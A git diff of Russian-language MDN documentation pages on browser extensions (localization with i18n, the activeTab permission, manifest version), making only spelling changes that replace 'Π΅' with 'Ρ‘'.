<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π·Π°ΠΌΠ΅Π½Ρ‹ для указания частСй строки, Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‰ΠΈΡ…ΡΡ Π² ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π΅, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ названия.</p>
<h2 id="Π’Ρ‹Π±ΠΎΡ€_Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠΉ_строки">Π’Ρ‹Π±ΠΎΡ€ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠΉ строки</h2>
-<p>Π›ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° языка, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>fr</code>Β ΠΈΠ»ΠΈΒ <code>en</code>. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>en_US</code>Β ΠΈΠ»ΠΈΒ <code>en_GB</code>, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ языка. Когда Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ строку Ρƒ систСмы i18n, систСмы Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ:</p>
+<p>Π›ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ΄Π° языка, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>fr</code>Β ΠΈΠ»ΠΈΒ <code>en</code>. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>en_US</code>Β ΠΈΠ»ΠΈΒ <code>en_GB</code>, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ языка. Когда Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ строку Ρƒ систСмы i18n, систСмы Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ:</p>
<ol>
<li>Если для Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ сущСствуСт Ρ„Π°ΠΉΠ»Β <code>messages.json</code>, содСрТащий Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡƒΡŽ строку, возвращаСтся ΠΎΠ½Π°.</li>
@@ -278,21 +278,21 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre>
<p>ΠŸΡƒΡΡ‚ΡŒΒ <code>default_locale</code> установлСн ΠΊΠ°ΠΊΒ <code>fr</code>, Π° тСкущая локализация Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β β€”Β <code>en_GB</code>:</p>
<ul>
- <li>Π’Ρ‹Π·ΠΎΠ²Β <code>getMessage("colorLocalised")</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚Β "colour".</li>
+ <li>Π’Ρ‹Π·ΠΎΠ²Β <code>getMessage("colorLocalised")</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚Β "colour".</li>
<li>Если Π±Ρ‹ Π²Β <code>en_GB</code>Β Π½Π΅ Π±Ρ‹Π»ΠΎ "colorLocalized", Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ²Β <code>getMessage("colorLocalised")</code>, Π²Π΅Ρ€Π½ΡƒΠ» Π±Ρ‹ "color", Π° Π½Π΅Β "couleur".</li>
</ul>
-<h2 id="Π—Π°Ρ€Π°Π½Π΅Π΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅_сообщСния">Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния</h2>
+<h2 id="Π—Π°Ρ€Π°Π½Π΅Π΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅_сообщСния">Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния</h2>
-<p>ΠœΠΎΠ΄ΡƒΠ»ΡŒ i18n module прСдоставляСт Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β {{anch("Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡ manifest.json")}}. НапримСр:</p>
+<p>ΠœΠΎΠ΄ΡƒΠ»ΡŒ i18n module прСдоставляСт Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β {{anch("Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡ manifest.json")}}. НапримСр:</p>
<pre class="notranslate">__MSG_extensionName__</pre>
-<p>Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ синтаксис, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>@@</code>Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ сообщСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ синтаксис, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>@@</code>Β ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ сообщСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="notranslate">__MSG_@@ui_locale__</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Π° содСрТит Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Π° содСрТит Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния:</p>
<table class="standard-table">
<thead>
@@ -358,7 +358,7 @@ div#header {
position: relative;
}</pre>
-<p>Для языков, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… тСкст читаСтся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ английский, ΠΏΡ€Π°Π²ΠΈΠ»Π° CSS,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния, свСрху Π·Π°Π΄Π°ΡŽΡ‚ Ρ‚Π°ΠΊΠΈΠ΅ значСния:</p>
+<p>Для языков, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… тСкст читаСтся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ английский, ΠΏΡ€Π°Π²ΠΈΠ»Π° CSS,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния, свСрху Π·Π°Π΄Π°ΡŽΡ‚ Ρ‚Π°ΠΊΠΈΠ΅ значСния:</p>
<pre class="brush: css notranslate">direction: ltr;
padding-left: 0;
@@ -396,11 +396,11 @@ padding-left: 1.5em;</pre>
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Β <code>getUILanguage</code> трСбуСтся языковой ΠΏΠ°ΠΊΠ΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ язык UI Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ язык сообщСний Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</p>
</div>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π· Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ с диска ΠΈ протСстируйтС Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ:</p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π· Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ с диска ΠΈ протСстируйтС Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ:</p>
<ul>
- <li>Π•Ρ‰Π΅ Ρ€Π°Π· ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ "about:addons"Β β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π’Π°ΡˆΠ΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, Π΅Π³ΠΎ ΠΈΠΊΠΎΠ½ΠΊΡƒ, имя ΠΈ описаниС Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌ языкС.</li>
- <li>Π•Ρ‰Π΅ Ρ€Π°Π· протСстируйтС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅. Для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π’Π°ΠΌ слСдовало Π±Ρ‹ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу ΠΈ, Π½Π°ΠΆΠ°Π²Β Π½Π° ссылку, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, появляСтся Π»ΠΈ сообщСниС Π½Π° Π½ΡƒΠΆΠ½ΠΎΠΌ языкС.</li>
+ <li>Π•Ρ‰Ρ‘ Ρ€Π°Π· ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ "about:addons"Β β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π’Π°ΡˆΠ΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, Π΅Π³ΠΎ ΠΈΠΊΠΎΠ½ΠΊΡƒ, имя ΠΈ описаниС Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌ языкС.</li>
+ <li>Π•Ρ‰Ρ‘ Ρ€Π°Π· протСстируйтС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅. Для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π’Π°ΠΌ слСдовало Π±Ρ‹ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу ΠΈ, Π½Π°ΠΆΠ°Π²Β Π½Π° ссылку, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, появляСтся Π»ΠΈ сообщСниС Π½Π° Π½ΡƒΠΆΠ½ΠΎΠΌ языкС.</li>
</ul>
<p>{{EmbedYouTube("R7--fp5pPGg")}}</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html
index fccb5d5dba..9ab128e3ee 100644
--- a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html
@@ -146,7 +146,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/permissions
<li>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ доступа ΠΊ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ частям tabs API для Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ: <code>Tab.url</code>, <code>Tab.title</code> ΠΈ <code>Tab.faviconUrl</code>.</li>
</ul>
-<p>ЦСль этих ΠΏΠΎΠ»Π½ΠΎΠΌΠΎΡ‡ΠΈΠΉ – ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС сцСнарии Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π±Π΅Π· нСобходимости Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ Π΅ΠΌΡƒ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ Π·Π°Π΄ΡƒΠΌΠ°Π½ΠΎ для выполнСния ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ послС взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. НапримСр, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ встраиваСт скрипт Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу, послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов. Если Π±Ρ‹ <code>activeTab</code> ΠΏΠΎΠ»Π½ΠΎΠΌΠΎΡ‡ΠΈΠΉ Π½Π΅ сущСствовало, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π±Ρ‹ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ <code>&lt;all_urls&gt;</code>. Но ΠΎΠ½ΠΈ Π±Ρ‹ Π΄Π°Π²Π°Π»ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ, Ρ‡Π΅ΠΌ Π΅ΠΌΡƒ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ: Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ скрипты Π½Π° Π»ΡŽΠ±ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚.</p>
+<p>ЦСль этих ΠΏΠΎΠ»Π½ΠΎΠΌΠΎΡ‡ΠΈΠΉ – ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС сцСнарии Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π±Π΅Π· нСобходимости Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ Π΅ΠΌΡƒ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ Π·Π°Π΄ΡƒΠΌΠ°Π½ΠΎ для выполнСния ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ послС взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. НапримСр, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ встраиваСт скрипт Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу, послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов. Если Π±Ρ‹ <code>activeTab</code> ΠΏΠΎΠ»Π½ΠΎΠΌΠΎΡ‡ΠΈΠΉ Π½Π΅ сущСствовало, Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π±Ρ‹ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ <code>&lt;all_urls&gt;</code>. Но ΠΎΠ½ΠΈ Π±Ρ‹ Π΄Π°Π²Π°Π»ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ, Ρ‡Π΅ΠΌ Π΅ΠΌΡƒ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ: Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ скрипты Π½Π° Π»ΡŽΠ±ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚.</p>
<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ смоТСтС ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ tab API, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ взаимодСйствия Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ ΠΏΠΎΠΊΠ° Π²ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»Π° своё состояниС. Π’ΠΎ Π΅ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ пСрСстанСт ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ адрСса страницы ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌ событии с Π²ΠΊΠ»Π°Π΄ΠΊΠΎΠΉ.</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html
index 42892c82af..8f913532df 100644
--- a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html
@@ -29,7 +29,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/version
</tbody>
</table>
-<p>ВСрсия дополнСния, отформатированная ΠΊΠ°ΠΊ числа ΠΈ символы ASCII, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ вСрсий смотритС страницу <a href="https://developer.mozilla.org/ru/docs/Toolkit_version_format">Version format</a>.</p>
+<p>ВСрсия дополнСния, отформатированная ΠΊΠ°ΠΊ числа ΠΈ символы ASCII, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ вСрсий смотритС страницу <a href="https://developer.mozilla.org/ru/docs/Toolkit_version_format">Version format</a>.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ <a href="https://developer.chrome.com/extensions/manifest/version">синтаксис ΠΊΠ»ΡŽΡ‡Π° <code>version</code> для Chrome</a> Π±ΠΎΠ»Π΅Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ, Ρ‡Π΅ΠΌ Ρƒ Firefox:</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html
index a221a2a415..3a726aeaaa 100644
--- a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html
@@ -74,7 +74,7 @@ document.body.appendChild(header);</pre>
<h2 id="ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Π°Ρ_модификация_страницы">ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Π°Ρ модификация страницы</h2>
